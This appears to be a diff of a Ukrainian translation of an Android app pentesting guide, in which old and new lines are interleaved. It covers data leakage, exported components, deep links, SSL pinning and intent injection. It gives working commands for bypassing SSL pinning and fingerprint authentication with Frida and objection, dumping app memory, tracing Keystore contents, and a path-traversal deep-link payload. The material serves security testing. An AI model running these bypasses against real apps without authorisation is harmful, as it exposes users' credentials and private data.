2. (FromAndroid 8.0) Select **System**.
2. (From Android 8.0) Select **System**.
3. Select **About phone**.
4. Press **Build number** 7 times.
5. Go back and you will find the **Developer options**.
> Після встановлення застосунку перше, що ви повинні зробити — це спробувати його і дослідити, що він робить, як працює і звикнути до нього.\
> Рекомендую **perform this initial dynamic analysis using MobSF dynamic analysis + pidcat**, щоб ми могли **learn how the application works**, поки MobSF **captures** багато **interesting** **data**, які ви потім зможете переглянути.
> Після встановлення додатку перше, що слід зробити — це спробувати його, вивчити, що він робить, як працює, і відчути себе з ним комфортно.\
> Рекомендую **виконати цей початковий dynamic analysis за допомогою MobSF dynamic analysis + pidcat**, щоб ми могли **learn how the application works**, поки MobSF **captures** багато **interesting** **data**, які ви зможете переглянути пізніше.
Magisk/Zygisk quick notes (recommended on Pixel devices)
- Patch boot.img with the Magisk app and flash via fastboot to get systemless root
@ -293,52 +298,52 @@ Magisk/Zygisk quick notes (recommended on Pixel devices)
### Ненавмисний витік даних
### Unintended Data Leakage
**Logging**
Розробникам слід бути обережними з публічним виведенням **debugging information**, оскільки це може призвести до витоків чутливих даних. Рекомендується використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу журналів застосунку, щоб ідентифікувати та захистити чутливу інформацію. **Pidcat** віддають перевагу за його простоту використання та читабельність.
Розробникам слід обережно ставитися до оприлюднення **debugging information**, оскільки це може призвести до sensitive data leaks. Рекомендуються інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) та `adb logcat` для моніторингу логів додатку з метою виявлення й захисту конфіденційної інформації. **Pidcat** переважно через простоту використання та читабельність.
> [!WARNING]
> Зауважте, що починаючи з **пізніших версій, новіших за Android 4.0**, **додатки можуть отримувати доступ лише до своїх власних логів**. Тож додатки не можуть отримувати логи інших застосунків.\
> Тим не менш, все ще рекомендовано **не логувати чутливу інформацію**.
> Зверніть увагу, що з **пізніших версій, новіших за Android 4.0**, **додатки можуть отримувати доступ лише до своїх логів**. Тому додатки не можуть читати логи інших додатків.\
> У будь-якому випадку все ще рекомендовано **не логувати конфіденційну інформацію**.
**Copy/Paste Buffer Caching**
Android-фреймворк на основі буфера обміну (clipboard) забезпечує функціональність копіювання/вставки в додатках, але несе ризик, оскільки **інші додатки** можуть **access** буфер обміну, потенційно розкриваючи чутливі дані. Важливо **disable copy/paste** функції для чутливих частин застосунку, наприклад деталей кредитної картки, щоб запобігти витокам даних.
Android-рамка, що базується на **clipboard**, забезпечує функціональність copy-paste в додатках, але становить ризик, оскільки **інші додатки** можуть **access** буфер обміну, потенційно відкриваючи конфіденційні дані. Важливо **disable copy/paste** для чутливих секцій додатку, наприклад даних кредитної картки, щоб запобігти data leaks.
**Crash Logs**
Якщо застосунок **crashes** і **saves logs**, ці журнали можуть допомогти зловмисникам, особливо коли застосунок не можна відреференсувати. Щоб зменшити цей ризик, уникайте логування під час краху, і якщо журнали мають передаватися мережею, переконайтесь, що вони надсилаються через SSL-канал для безпеки.
Якщо додаток **crash** і **зберігає логи**, ці логи можуть допомогти атакам, особливо коли додаток важко реверсинжити. Щоб пом'якшити ризик, уникайте логування під час crash, а якщо логи потрібно відправляти по мережі — забезпечуйте передачу через SSL-канал.
Як pentester, **try to take a look to these logs**.
Як pentester, **спробуйте переглянути ці логи**.
**Analytics Data Sent To 3rd Parties**
Додатки часто інтегрують сервіси на кшталт Google Adsense, які можуть ненавмисно **leak sensitive data** через неправильну реалізацію розробниками. Щоб виявити можливі витоки даних, варто **intercept the application's traffic** і перевірити, чи не надсилається чутлива інформація до third-party сервісів.
Додатки часто інтегрують сервіси типу Google Adsense, що може ненавмисно привести до sensitive data leaks через неправильну імплементацію розробника. Щоб виявити потенційні витоки, радимо **intercept the application's traffic** та перевірити, чи не надсилається конфіденційна інформація до third-party сервісів.
### SQLite DBs
Більшість застосунків використовують **internal SQLite databases** для збереження інформації. Під час pentest перегляньте **databases**, назви **tables** і **columns** та всі **data**, що зберігається, оскільки ви можете знайти **sensitive information** (що буде вразливістю).\
Бази даних зазвичай знаходяться в `/data/data/the.package.name/databases`, наприклад `/data/data/com.mwr.example.sieve/databases`
Більшість додатків використовують **internal SQLite databases** для збереження інформації. Під час pentest перегляньте **databases**, імена **tables** і **columns** та всі **дані**, що зберігаються, оскільки ви можете знайти **sensitive information** (що буде вразливістю).\
Бази даних мають знаходитись у /data/data/the.package.name/databases, наприклад /data/data/com.mwr.example.sieve/databases
Якщо база даних зберігає конфіденційну інформацію і вона **encrypted**, але ви можете **find** пароль всередині застосунку, це все одно **vulnerability**.
Якщо база даних зберігає конфіденційну інформацію і вона **encrypted**, але ви можете **find** **password** всередині додатку — це все ще вважається **vulnerability**.
Перелічіть таблиці за допомогою `.tables` і перераховуйте колонки таблиць командою `.schema <table_name>`
Перелічіть таблиці за допомогою `.tables` і визначте схему таблиць командою `.schema <table_name>`
### Drozer (Exploit Activities, Content Providers and Services)
Згідно з [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **assume the role of an Android app** та взаємодіяти з іншими додатками. Він може робити **anything that an installed application can do**, наприклад використовувати Androids Inter-Process Communication (IPC) механізм та взаємодіяти з підлягаючою операційною системою. .\
Згідно з [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** дозволяє вам **прикинутися Android app** і взаємодіяти з іншими додатками. Він може робити **anything that an installed application can do**, наприклад використовувати Inter-Process Communication (IPC) Android і взаємодіяти з підлягаючою операційною системою.\
Drozer — корисний інструмент для **exploit exported activities, exported services and Content Providers**, як ви дізнаєтесь у наступних розділах.
### Exploiting exported Activities
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Також памятайте, що код activity починається в методі **`onCreate`**.
Також пам'ятайте, що код activity починається в методі **`onCreate`**.
**Authorisation bypass**
Коли Activity є exported, ви можете викликати його екран з зовнішнього додатку. Тому, якщо activity з **sensitive information** є **exported**, ви можете **bypass** механізми **authentication**, щоб отримати доступ до нього.
Коли Activity exported, ви можете викликати його екран з зовнішнього додатку. Тому, якщо activity з **sensitive information** exported, ви могли б **bypass** механізми **authentication**, щоб отримати до нього доступ.
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
@ -349,23 +354,23 @@ Drozer — корисний інструмент для **exploit exported activ
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**ПРИМІТКА**: MobSF виявлятиме як шкідливе використання _**singleTask/singleInstance**_ як `android:launchMode` в activity, але через [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, це небезпечно лише на старих версіях (API versions < 21).
**ПРИМІТКА**: MobSF виявляє як шкідливе використання _**singleTask/singleInstance**_ як `android:launchMode` в activity, але через [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), очевидно, що це небезпечно лише в старих версіях (API versions < 21).
> [!TIP]
> Зверніть увагу, що authorisation bypass не завжди є vulnerability, це залежить від того, як працює bypass і яка інформація стає доступною.
> Зверніть увагу, що authorisation bypass не завжди є вразливістю — це залежить від того, як працює bypass і яка інформація стає доступною.
**Sensitive information leakage**
**Activities can also return results**. Якщо вам вдасться знайти exported and unprotected activity, яка викликає метод **`setResult`** і **returning sensitive information**, це є sensitive information leakage.
**Activities can also return results**. Якщо вам вдасться знайти exported і unprotected activity, яка викликає метод **`setResult`** і **повертає sensitive information**, це призводить до sensitive information leakage.
#### Tapjacking
Якщо Tapjacking не запобігається, ви можете зловживати exported activity, щоб змусити **користувача виконати несподівані дії**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
Якщо tapjacking не запобігається, ви можете зловживати exported activity, щоб змусити **користувача виконувати небажані дії**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Доступ та маніпуляція sensitive information
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers зазвичай використовуються для **share data**. Якщо в додатку є доступні content providers, можливо, ви зможете **extract sensitive** дані з них. Також варто протестувати можливі **SQL injections** і **Path Traversals**, оскільки вони можуть бути вразливими.
Content providers, по суті, використовуються для **обміну даними**. Якщо в додатку є доступні content providers, ви можете мати можливість **витягти конфіденційні** дані з них. Також варто перевірити можливі **SQL injections** та **Path Traversals**, оскільки вони можуть бути вразливими.
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
@ -374,7 +379,7 @@ Content providers зазвичай використовуються для **sha
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Пам'ятайте, що дії Service починаються в методі `onStartCommand`.
Service по суті — це те, що **can receive data**, **process** її і **returns** (або ні) відповідь. Отже, якщо додаток експортує якісь services, вам слід **check** **code**, щоб зрозуміти, що він робить, і **test** його **dynamically** для витягання конфіденційної інформації, обходу заходів автентифікації...\
Service, по суті, може отримувати дані, обробляти їх і повертати (або не повертати) відповідь. Тому, якщо додаток експортує якісь services, вам слід перевірити код, щоб зрозуміти, що він робить, і протестувати його динамічно для витягування конфіденційної інформації, обходу заходів аутентифікації...\
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
@ -382,75 +387,75 @@ Service по суті — це те, що **can receive data**, **process** її
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Пам'ятайте, що дії Broadcast Receiver починаються в методі `onReceive`.
Broadcast receiver чекатиме певного типу повідомлення. Залежно від того, як receiver обробляє повідомлення, він може бути вразливим.\
Broadcast receiver очікує певний тип повідомлення. Залежно від того, як receiver обробляє повідомлення, він може бути вразливим.\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
You can look for deep links manually, using tools like MobSF or scripts like [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Ви можете **відкрити** оголошену **scheme** за допомогою **adb** або **браузера**:
Ви можете **відкрити** задекларований **scheme** за допомогою **adb** або **браузера**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Зверніть увагу, що ви можете **omit the package name**, і мобільний пристрій автоматично викличе app, який має відкрити це посилання._
_Зверніть увагу, що ви можете **не вказувати ім'я пакета**, і мобільний пристрій автоматично відкриє додаток, який має відкрити це посилання._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**Code executed**
**Виконуваний код**
Щоб знайти **code that will be executed in the App**, перейдіть до activity, що викликається deeplink, і знайдіть функцію **`onNewIntent`**.
Щоб знайти **код, який буде виконано в додатку**, перейдіть до activity, викликаної deeplink, і знайдіть функцію **`onNewIntent`**.
![](<../../images/image (436) (1) (1) (1).png>)
**Sensitive info**
**Чутлива інформація**
Кожного разу, коли ви знаходите deep link, перевіряйте, що **it's not receiving sensitive data (like passwords) via URL parameters**, бо будь-який інший додаток може **impersonate the deep link and steal that data!**
Кожного разу, коли ви знаходите deep link, перевірте, що **він не отримує чутливих даних (наприклад паролів) через URL параметри**, бо будь-який інший додаток може **імітувати deep link і вкрасти ці дані!**
**Parameters in path**
**Параметри в шляху**
Ви **must check also if any deep link is using a parameter inside the path** URL, наприклад: `https://api.example.com/v1/users/{username}`. У такому випадку ви можете спричинити path traversal, отримавши доступ до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Зверніть увагу, що якщо ви знайдете правильні endpoints всередині додатку, ви можете викликати **Open Redirect** (якщо частина шляху використовується як домен), **account takeover** (якщо можна змінити дані користувача без CSRF token і вразливий endpoint використовував правильний метод) та інші вразливості. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
Ви також повинні перевірити, чи якийсь deep link не використовує параметр всередині path URL, наприклад: `https://api.example.com/v1/users/{username}` , у такому випадку ви можете примусити path traversal, звернувшись до чогось на кшталт: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Зауважте, що якщо ви знайдете правильні endpoints всередині застосунку, ви можете спричинити **Open Redirect** (якщо частина шляху використовується як домен), **account takeover** (якщо ви можете змінити деталі користувачів без CSRF token і вразливий endpoint використовував правильний method) та інші вразливості. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
**Більше прикладів**
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
### Transport Layer Inspection and Verification Failures
### Інспекція транспортного рівня та помилки перевірки
- **Certificates are not always inspected properly** додатками Android. Часто такі додатки ігнорують попередження і приймають self-signed certificates або в деяких випадках повертаються до HTTP-з’єднань.
- **Negotiations during the SSL/TLS handshake are sometimes weak**, використовуються небезпечні cipher suites. Це робить з’єднання вразливим до man-in-the-middle (MITM) атак, дозволяючи нападникам розшифровувати дані.
- **Leakage of private information** — ризик, коли додатки автентифікуються через secure channels, але потім виконують інші операції через non-secure channels. Такий підхід не захищає чутливі дані, як-от session cookies або user details, від перехоплення зловмисниками.
- **Сертифікати не завжди перевіряються належним чином** Android-додатками. Часто такі додатки ігнорують попередження і приймають self-signed certificates або, в окремих випадках, повертаються до використання HTTP-з'єднань.
- **Переговори під час SSL/TLS handshake іноді слабкі**, використовуються небезпечні cipher suites. Ця вразливість робить з'єднання вразливим до man-in-the-middle (MITM) атак, дозволяючи атакуючим розшифровувати дані.
- **Витік приватної інформації** — це ризик, коли додатки аутентифікуються через захищені канали, але потім для інших транзакцій використовують незахищені канали. Такий підхід не захищає чутливі дані, такі як session cookies або дані користувача, від перехоплення зловмисниками.
#### Certificate Verification
#### Перевірка сертифікатів
Ми зосередимось на **certificate verification**. Необхідно перевіряти цілісність server's certificate для підвищення безпеки. Це критично, оскільки insecure TLS configurations і передача чутливих даних по незашифрованих каналах можуть створювати значні ризики. For detailed steps on verifying server certificates and addressing vulnerabilities, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) provides comprehensive guidance.
Ми зосередимося на **certificate verification**. Необхідно перевіряти цілісність серверного сертифіката для підвищення безпеки. Це критично, оскільки insecure TLS конфігурації та передача чутливих даних по незашифрованих каналах можуть становити значні ризики. Для детальних кроків з перевірки серверних сертифікатів та усунення вразливостей, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) надає вичерпні рекомендації.
#### SSL Pinning
SSL Pinning — це механізм безпеки, коли додаток перевіряє server's certificate проти відомої копії, збереженої всередині додатку. Цей метод є важливим для запобігання MITM атак. Рекомендується впроваджувати SSL Pinning для додатків, що працюють з чутливою інформацією.
SSL Pinning — це захід безпеки, коли додаток перевіряє серверний сертифікат порівняно з відомою копією, збереженою в самому додатку. Цей метод важливий для запобігання MITM атак. Рекомендується реалізувати SSL Pinning для додатків, що працюють із чутливою інформацією.
#### Traffic Inspection
#### Інспекція трафіку
Щоб інспектувати HTTP traffic, потрібно **install the proxy tool's certificate** (наприклад, Burp). Якщо цей сертифікат не встановлено, зашифрований трафік може бути невидимим через проксі. For a guide on installing a custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Щоб інспектувати HTTP-трафік, необхідно **встановити сертифікат proxy tool** (наприклад, Burp). Без встановлення цього сертифіката зашифрований трафік може бути невидимим через проксі. Для керівництва зі встановлення кастомного CA сертифіката, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Додатки, що target **API Level 24 and above**, вимагають змін у Network Security Config, щоб приймати proxy's CA certificate. Це критичний крок для інспекції зашифрованого трафіку. Для інструкцій щодо модифікації Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
Додатки, спрямовані на **API Level 24 and above**, вимагають змін у Network Security Config, щоб прийняти CA сертифікат проксі. Цей крок критично важливий для інспекції зашифрованого трафіку. Для інструкцій щодо модифікації Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
Якщо використовується **Flutter**, потрібно слідувати інструкціям на [**this page**](flutter.md). Це тому, що просте додавання сертифіката в store не спрацює — Flutter має свій власний список дійсних CAs.
Якщо використовується **Flutter**, вам потрібно виконати інструкції на [**this page**](flutter.md). Це тому, що просто додати сертифікат у системний магазин не спрацює, оскільки Flutter має власний список валідних CAs.
#### Static detection of SSL/TLS pinning
#### Статичне виявлення SSL/TLS pinning
Перед спробами runtime bypasses швидко відобразіть, де саме в APK застосовано pinning. Static discovery допомагає спланувати hooks/patches і зосередитись на потрібних code paths.
Перед тим, як пробувати runtime bypasses, швидко визначте, де в APK застосовується pinning. Статичне виявлення допомагає спланувати hooks/patches і зосередитися на потрібних code paths.
Tool: SSLPinDetect
- Open-source static-analysis utility, що декомпілює APK у Smali (через apktool) і сканує за curated regex patterns реалізацій SSL/TLS pinning.
- Reports exact file path, line number, and a code snippet for each match.
- Охоплює поширені frameworks і кастомні code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
- Open-source утиліта статичного аналізу, яка декомпілює APK у Smali (через apktool) і сканує куровані regex паттерни реалізацій SSL/TLS pinning.
- Повертає точний file path, номер рядка та фрагмент коду для кожного збігу.
- Охоплює поширені frameworks та кастомні code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
Install
- Prereqs: Python >= 3.8, Java on PATH, apktool
Встановлення
- Вимоги: Python >= 3.8, Java on PATH, apktool
```bash
git clone https://github.com/aancw/SSLPinDetect
cd SSLPinDetect
@ -464,8 +469,8 @@ python sslpindetect.py -f app.apk -a apktool.jar
# Verbose (timings + per-match path:line + snippet)
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
Приклад шаблонних правил (JSON)
Використовуйте або розширюйте signatures для виявлення proprietary/custom pinning styles. Ви можете завантажити власний JSON і сканувати в масштабі.
Приклад правил шаблонів (JSON)
Використовуйте або розширюйте signatures для виявлення пропрієтарних/власних стилів pinning. Ви можете завантажити власний JSON і виконувати масштабне сканування.
```json
{
"OkHttp Certificate Pinning": [
@ -480,36 +485,36 @@ python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
}
```
Notes and tips
- Швидке сканування великих додатків через multi-threading та memory-mapped I/O; попередньо скомпільовані regex зменшують накладні витрати/хибні спрацьовування.
- Швидке сканування великих додатків за допомогою багатопоточності та memory-mapped I/O; pre-compiled regex зменшують накладні витрати/false positives.
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- Типові цілі виявлення для подальшого тріажу:
- OkHttp: використання CertificatePinner, setCertificatePinner, посилання на пакети okhttp3/okhttp
- Custom TrustManagers: javax.net.ssl.X509TrustManager, перевизначення checkServerTrusted
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init з кастомними managers
- Declarative pins у res/xml network security config та посилання в manifest
- Використовуйте знайдені місця для планування Frida hooks, static patches або перегляду конфігурацій перед dynamic testing.
- Типові цілі для виявлення та подальшого триажу:
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins in res/xml network security config and manifest references
- Використайте знайдені місця для планування Frida hooks, статичних патчів або перегляду конфігурацій перед динамічним тестуванням.
#### Bypassing SSL Pinning
#### Обхід SSL Pinning
Коли реалізовано SSL Pinning, його bypassing стає необхідним для інспекції HTTPS-трафіку. Для цього існують різні методи:
Коли SSL Pinning реалізовано, його обхід стає необхідним для інспекції HTTPS-трафіку. Для цього доступні різні методи:
- Автоматично **змінити** **apk**, щоб **bypass** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Найбільша перевага цього варіанту в тому, що для bypass SSL Pinning root не потрібен, але доведеться видалити додаток і перевстановити його, і це не завжди працює.
- Ви можете використати **Frida** (описано нижче) для bypass цього захисту. Ось гайд для використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Ви також можете спробувати **automatically bypass SSL Pinning** за допомогою [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Ви також можете спробувати **automatically bypass SSL Pinning** використовуючи **MobSF dynamic analysis** (описано нижче)
- Якщо ви все ще вважаєте, що частина трафіку не перехоплюється, можна спробувати **forward the traffic to burp using iptables**. Читайте цю статтю: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
- Автоматично **модифікувати** **apk**, щоб **обійти** SSLPinning за допомогою [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Головна перевага цього варіанту — вам не потрібен root для обходу SSL Pinning, але доведеться видалити додаток і встановити модифіковану версію, і це не завжди працює.
- Можна використовувати **Frida** (описано нижче) для обходу цього захисту. Ось гайд для використання Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Можна також спробувати **автоматично обійти SSL Pinning** за допомогою [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Можна також спробувати **автоматично обійти SSL Pinning** за допомогою **MobSF dynamic analysis** (пояснюється нижче)
- Якщо ви все ще вважаєте, що якийсь трафік не перехоплюється, можна спробувати **переадресувати трафік до Burp за допомогою iptables**. Читайте цей блог: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Looking for Common Web Vulnerabilities
#### Пошук поширених веб-уразливостей
Важливо також шукати загальні web-вразливості в додатку. Детальна інформація щодо ідентифікації та пом'якшення цих вразливостей виходить за рамки цього резюме, але детально описана в інших матеріалах.
Важливо також шукати поширені веб-уразливості в межах додатку. Детальна інформація про ідентифікацію та пом'якшення цих вразливостей виходить за рамки цього огляду, але детально розглянута в інших джерелах.
### Frida
[Frida](https://www.frida.re) — це інструментарій динамічної інструментації для розробників, реверс-інженерів та дослідників безпеки.\
**Ви можете отримати доступ до працюючого додатку та hook methods під час виконання, щоб змінювати поведінку, змінювати значення, витягувати значення, запускати інший код...**\
Якщо ви хочете pentest Android-додатки, потрібно вміти користуватись Frida.
[Frida](https://www.frida.re) — інструментарій для динамічної інструментації для розробників, реверс-інженерів та дослідників безпеки.\
**Ви можете отримувати доступ до запущеного додатку та перехоплювати методи під час виконання, змінювати поведінку, змінювати значення, витягувати значення, виконувати інший код...**\
Якщо ви хочете pentest Android applications, вам потрібно вміти користуватися Frida.
- Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html)
- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
@ -525,9 +530,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md
### **Дамп пам'яті - Fridump**
Перевірте, чи додаток не зберігає в пам'яті конфіденційну інформацію, якої не повинен зберігати, наприклад паролі або мнемонічні фрази.
Перевірте, чи додаток зберігає в пам'яті чутливу інформацію, яку не повинен зберігати, наприклад паролі або мнемонічні фрази.
Використовуючи [**Fridump3**](https://github.com/rootbsd/fridump3) ви можете зробити дамп пам'яті додатку за допомогою:
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
```bash
# With PID
python3 fridump3.py -u <PID>
@ -536,63 +541,63 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Це скине пам'ять у папку ./dump, і там ви можете за допомогою grep виконати щось на кшталт:
Це згенерує дамп пам'яті в папку ./dump, і там ви можете виконати grep, наприклад:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Чутливі дані в Keystore**
В Android Keystore — найкраще місце для зберігання чутливих даних, однак за наявності достатніх привілеїв все одно **можна отримати до нього доступ**. Оскільки додатки зазвичай тут зберігають **чутливі дані у відкритому вигляді**, pentests повинні перевіряти це як root user, інакше особа з фізичним доступом до пристрою може вкрасти ці дані.
У Android Keystore — найкраще місце для зберігання чутливих даних, однак за наявності достатніх привілеїв все ще **можливо отримати до нього доступ**. Оскільки додатки часто зберігають тут **чутливі дані у відкритому вигляді**, pentests повинні перевіряти це, оскільки root user або особи з фізичним доступом до пристрою можуть вкрасти ці дані.
Навіть якщо додаток зберіг дані в Keystore, ці дані мають бути зашифровані.
Навіть якщо додаток зберіг дані в keystore, ці дані повинні бути зашифровані.
Щоб отримати доступ до даних всередині Keystore, можна використати цей Frida скрипт: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
Щоб отримати доступ до даних всередині keystore, можна використати цей Frida скрипт: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
За допомогою наведеного Frida script може стати можливим **bypass fingerprint authentication**, яке Android applications використовують для **захисту певних чутливих областей:**
Використовуючи наведений скрипт Frida, можливо **bypass fingerprint authentication**, яке Android-додатки можуть виконувати, щоб **захистити певні чутливі області:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Фонові зображення**
Коли ви переводите додаток у фоновий режим, Android зберігає **знімок додатка**, тож під час відновлення на передній план він починає завантажувати це зображення перед самим додатком — це створює враження, що додаток відкрився швидше.
Коли ви переводите додаток у фон, Android зберігає **snapshot of the application**, тож коли його відновлюють на передній план, система спочатку завантажує це зображення перед самим додатком, щоб здавалося, ніби додаток завантажився швидше.
Однак, якщо цей знімок містить **чутливу інформацію**, хтось із доступом до нього може **вкрасти цю інформацію** (зверніть увагу, що для доступу потрібен root).
Однак, якщо цей snapshot містить **чутливу інформацію**, людина з доступом до snapshot може **вкрасти цю інформацію** (зауважте, для доступу потрібен root).
Знімки зазвичай зберігаються за шляхом: **`/data/system_ce/0/snapshots`**
Snapshots зазвичай зберігаються за адресою: **`/data/system_ce/0/snapshots`**
Android надає спосіб **заборонити захоплення знімків екрана шляхом встановлення параметра макета FLAG_SECURE**. Використовуючи цей прапорець, вміст вікна позначається як захищений, що запобігає його появі у знімках екрана або перегляду на незахищених дисплеях.
Android надає спосіб **запобігти захопленню screenshot шляхом встановлення параметра макета FLAG_SECURE**. Використовуючи цей флаг, вміст вікна розглядається як захищений, що запобігає його появі у screenshots або перегляду на non-secure displays.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Аналізатор Android-додатків**
### Аналізатор Android-додатків
Цей інструмент може допомогти в управлінні різними інструментами під час dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
Розробники часто створюють proxy components, такі як activities, services, і broadcast receivers, які обробляють ці Intents і передають їх у методи на кшталт `startActivity(...)` або `sendBroadcast(...)`, що може бути небезпечно.
Розробники часто створюють proxy components like activities, services, and broadcast receivers, які обробляють ці Intents і передають їх у методи, такі як `startActivity(...)` або `sendBroadcast(...)`, що може бути ризиковано.
Небезпека полягає в тому, що атакувальники можуть змусити виконати non-exported app components або отримати доступ до чутливих content providers, перенаправивши ці Intents. Яскравий приклад — компонент `WebView`, який конвертує URL у `Intent` через `Intent.parseUri(...)` і потім виконує їх, що потенційно може призвести до malicious Intent injections.
Небезпека полягає в тому, що атакувальники можуть спрямувати ці Intents так, щоб викликати non-exported app components або отримати доступ до чутливих content providers. Яскравим прикладом є компонент `WebView`, який перетворює URL на `Intent` через `Intent.parseUri(...)` і потім виконує їх, що потенційно дозволяє malicious Intent injections.
### Essential Takeaways
### Ключові висновки
- **Intent Injection** is similar to web's Open Redirect issue.
- Exploits involve passing `Intent` objects as extras, which can be redirected to execute unsafe operations.
- It can expose non-exported components and content providers to attackers.
- `WebView`s URL to `Intent` conversion can facilitate unintended actions.
- **Intent Injection** схожа на проблему Open Redirect у web.
- Експлойти пов'язані з передачею об'єктів `Intent` як extras, які можна перенаправити для виконання небезпечних операцій.
- Це може відкрити доступ до non-exported components і content providers для атакувальників.
- Перетворення URL на `Intent` у `WebView` може сприяти небажаним діям.
### Android Client Side Injections and others
Ймовірно, ви вже знаєте про цей тип вразливостей з Web. Слід бути особливо обережним із цими вразливостями в Android-додатку:
Ймовірно, ви знайомі з цими типами вразливостей з Web. У Android-додатку слід бути особливо обережним із такими вразливостями:
